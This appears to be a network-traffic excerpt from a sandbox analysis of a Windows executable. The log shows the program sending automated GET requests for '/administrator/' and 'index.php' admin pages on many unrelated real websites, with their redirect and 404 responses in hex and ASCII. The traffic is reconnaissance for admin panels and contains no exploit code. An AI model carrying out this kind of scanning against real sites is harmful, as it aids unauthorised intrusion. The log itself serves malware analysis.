Nov 26, 2023 06:59:30.750118971 CET	437	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:30 GMT Server: Apache Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 191 Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8e 39 0e c2 30 10 45 7b 9f 62 48 4f 26 20 4a cb 05 24 88 48 61 11 32 05 65 90 07 d9 12 b1 83 ed b0 dc 1e 07 1a ca bf cc fb c3 27 e5 7e 25 cf 87 0a 36 72 db c0 e1 b4 6c ea 15 64 53 c4 ba 92 6b c4 52 96 bf 64 9e 17 88 d5 2e 13 8c eb d8 dd 04 d7 d4 aa 24 a2 89 37 12 8b 62 01 3b 17 61 ed 06 ab 38 fe 4c c6 f1 5b e2 17 a7 de e3 dd 4c fc 75 92 62 bc 17 52 13 78 ba 0f 14 22 29 38 1d 1b c0 56 75 c6 9a 10 7d 1b 9d 47 63 15 bd f2 5e f7 f0 6c 03 d8 04 b8 8e 00 70 16 a2 36 01 02 f9 07 f9 9c 63 3f 0e 7e a7 12 7c 7c 91 7d 00 cc 66 b7 ab dd 00 00 00 Data Ascii: M90E{bHO& J$Ha2e'~%6rldSkRd.$7b;a8L[LubRx")8Vu}Gc^lp6c?~\|\|}f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	55161	15.235.14.141	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.370692015 CET	229	OUT	GET /administrator/ HTTP/1.1 Host: unaj.edu.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.477143049 CET	276	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 26 Nov 2023 05:59:30 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 242 Connection: keep-alive Location: https://unaj.edu.pe/administrator/
Nov 26, 2023 06:59:30.477240086 CET	296	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://unaj.edu.pe/administrator/">here</a>.</p></body></html>
Nov 26, 2023 06:59:32.770951986 CET	283	OUT	GET /administrator/index.php HTTP/1.1 Host: unaj.edu.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://unaj.edu.pe/administrator/
Nov 26, 2023 06:59:32.877490997 CET	285	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 251 Connection: keep-alive Location: https://unaj.edu.pe/administrator/index.php
Nov 26, 2023 06:59:32.877502918 CET	305	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://unaj.edu.pe/administrator/index.php">here</a>.</p></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	51768	148.66.138.193	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.389609098 CET	232	OUT	GET /administrator/ HTTP/1.1 Host: octetpowers.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.720406055 CET	1340	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:30 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade Accept-Ranges: bytes Vary: Accept-Encoding Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Content-Length: 1699 Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 65 65 3b 0a 7d 0a 0a 62 6f 64 79 2c 20 68 31 2c 20 70 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 53 65 67 6f 65 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 37 37 70 78 3b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 31 37 30 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 72 6f 77 3a 62 65 66 6f 72 65 2c 20 2e 72 6f 77 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 36 20 7b 0a 20 20 77 69 64 74 68 3a 20 35 30 25 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 33 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 35 25 3b 0a 7d 0a 0a 68 31 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 20 30 3b 0a 7d 0a 0a 2e 6c 65 61 64 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 31 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 32 30 30 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 7d 0a 0a 70 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 30 70 78 3b 0a 7d 0a 0a 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 33 32 38 32 65 36 3b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 20 74 65 Data Ascii: <!DOCTYPE html><html><head><title>File Not Found</title><meta http-equiv="content-type" content="text/html; charset=utf-8" ><meta name="viewport" content="width=device-width, initial-scale=1.0"><style type="text/css">body { background-color: #eee;}body, h1, p { font-family: "Helvetica Neue", "Segoe UI", Segoe, Helvetica, Arial, "Lucida Grande", sans-serif; font-weight: normal; margin: 0; padding: 0; text-align: center;}.container { margin-left: auto; margin-right: auto; margin-top: 177px; max-width: 1170px; padding-right: 15px; padding-left: 15px;}.row:before, .row:after { display: table; content: " ";}.col-md-6 { width: 50%;}.col-md-push-3 { margin-left: 25%;}h1 { font-size: 48px; font-weight: 300; margin: 0 0 20px 0;}.lead { font-size: 21px; font-weight: 200; margin-bottom: 20px;}p { margin: 0 0 10px;}a { color: #3282e6; text-decoration: none;}</style></head><body><div class="container te
Nov 26, 2023 06:59:30.720422983 CET	758	IN	Data Raw: 78 74 2d 63 65 6e 74 65 72 22 20 69 64 3d 22 65 72 72 6f 72 22 3e 0a 20 20 3c 73 76 67 20 68 65 69 67 68 74 3d 22 31 30 30 22 20 77 69 64 74 68 3d 22 31 30 30 22 3e 0a 20 20 20 20 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 35 30 2c 32 35 Data Ascii: xt-center" id="error"> <svg height="100" width="100"> <polygon points="50,25 17,80 82,80" stroke-linejoin="round" style="fill:none;stroke:#ff8a00;stroke-width:8" /> <text x="42" y="74" fill="#ff8a00" font-family="sans-serif" font-wei
Nov 26, 2023 06:59:30.825611115 CET	288	OUT	GET /administrator/index.php HTTP/1.1 Host: octetpowers.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://octetpowers.in/administrator/
Nov 26, 2023 06:59:31.155014038 CET	1340	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:30 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Content-Length: 1699 Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 65 65 3b 0a 7d 0a 0a 62 6f 64 79 2c 20 68 31 2c 20 70 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 53 65 67 6f 65 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 37 37 70 78 3b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 31 37 30 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 72 6f 77 3a 62 65 66 6f 72 65 2c 20 2e 72 6f 77 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 36 20 7b 0a 20 20 77 69 64 74 68 3a 20 35 30 25 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 33 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 35 25 3b 0a 7d 0a 0a 68 31 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 20 30 3b 0a 7d 0a 0a 2e 6c 65 61 64 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 31 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 32 30 30 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 7d 0a 0a 70 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 30 70 78 3b 0a 7d 0a 0a 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 33 32 38 32 65 36 3b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 20 74 65 78 74 2d 63 65 6e 74 65 72 22 20 69 64 3d 22 65 72 72 6f 72 22 3e 0a 20 20 3c 73 76 67 20 68 65 69 67 68 74 3d 22 Data Ascii: <!DOCTYPE html><html><head><title>File Not Found</title><meta http-equiv="content-type" content="text/html; charset=utf-8" ><meta name="viewport" content="width=device-width, initial-scale=1.0"><style type="text/css">body { background-color: #eee;}body, h1, p { font-family: "Helvetica Neue", "Segoe UI", Segoe, Helvetica, Arial, "Lucida Grande", sans-serif; font-weight: normal; margin: 0; padding: 0; text-align: center;}.container { margin-left: auto; margin-right: auto; margin-top: 177px; max-width: 1170px; padding-right: 15px; padding-left: 15px;}.row:before, .row:after { display: table; content: " ";}.col-md-6 { width: 50%;}.col-md-push-3 { margin-left: 25%;}h1 { font-size: 48px; font-weight: 300; margin: 0 0 20px 0;}.lead { font-size: 21px; font-weight: 200; margin-bottom: 20px;}p { margin: 0 0 10px;}a { color: #3282e6; text-decoration: none;}</style></head><body><div class="container text-center" id="error"> <svg height="
Nov 26, 2023 06:59:31.155031919 CET	720	IN	Data Raw: 31 30 30 22 20 77 69 64 74 68 3d 22 31 30 30 22 3e 0a 20 20 20 20 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 35 30 2c 32 35 20 31 37 2c 38 30 20 38 32 2c 38 30 22 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3d 22 72 6f 75 6e 64 22 20 Data Ascii: 100" width="100"> <polygon points="50,25 17,80 82,80" stroke-linejoin="round" style="fill:none;stroke:#ff8a00;stroke-width:8" /> <text x="42" y="74" fill="#ff8a00" font-family="sans-serif" font-weight="900" font-size="42px">!</text>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	51766	3.111.240.6	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.390585899 CET	227	OUT	GET /administrator/ HTTP/1.1 Host: knu.ac.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.687223911 CET	569	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:30 GMT Server: Apache Location: https://knu.ac.in/administrator/ Content-Length: 299 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6b 6e 75 2e 61 63 2e 69 6e 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 6b 6e 75 2e 61 63 2e 69 6e 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://knu.ac.in/administrator/">here</a>.</p><hr><address>Apache Server at knu.ac.in Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	55180	54.83.33.36	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.395590067 CET	230	OUT	GET /administrator/ HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.491748095 CET	591	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:30 GMT Server: Apache/2.4.52 (Ubuntu) Location: https://ce-logic.com/administrator/ Content-Length: 321 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://ce-logic.com/administrator/">here</a>.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at ce-logic.com Port 80</address></body></html>
Nov 26, 2023 06:59:32.550447941 CET	285	OUT	GET /administrator/index.php HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://ce-logic.com/administrator/
Nov 26, 2023 06:59:32.644140005 CET	609	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache/2.4.52 (Ubuntu) Location: https://ce-logic.com/administrator/index.php Content-Length: 330 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://ce-logic.com/administrator/index.php">here</a>.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at ce-logic.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	55113	191.6.210.8	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.395766973 CET	232	OUT	GET /administrator/ HTTP/1.1 Host: esistem.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.617113113 CET	762	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:30 GMT Server: Apache Last-Modified: Thu, 24 Oct 2019 19:33:13 GMT ETag: "1e8-595ad1aad5040" Accept-Ranges: bytes Content-Length: 488 Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 74 2d 62 72 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 50 e1 67 69 6e 61 20 4e e3 6f 20 45 6e 63 6f 6e 74 72 61 64 61 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 41 72 69 61 6c 22 20 73 69 7a 65 3d 22 33 22 3e 45 72 72 6f 20 34 30 34 3c 2f 66 6f 6e 74 3e 3c 2f 62 3e 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 4d 53 20 53 61 6e 73 20 53 65 72 69 66 22 20 73 69 7a 65 3d 22 32 22 3e 50 e1 67 69 6e 61 20 6e e3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 3c 2f 66 6f 6e 74 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Language" content="pt-br"><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>Pgina No Encontrada</title></head><body><p align="center"> </p><p align="center"> </p><p align="center"> </p><p align="center"> </p><p align="center"><b><font face="Arial" size="3">Erro 404</font></b></p><p align="center"><font face="MS Sans Serif" size="2">Pgina no encontrada</font></p></body></html>
Nov 26, 2023 06:59:30.822706938 CET	288	OUT	GET /administrator/index.php HTTP/1.1 Host: esistem.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://esistem.com.br/administrator/
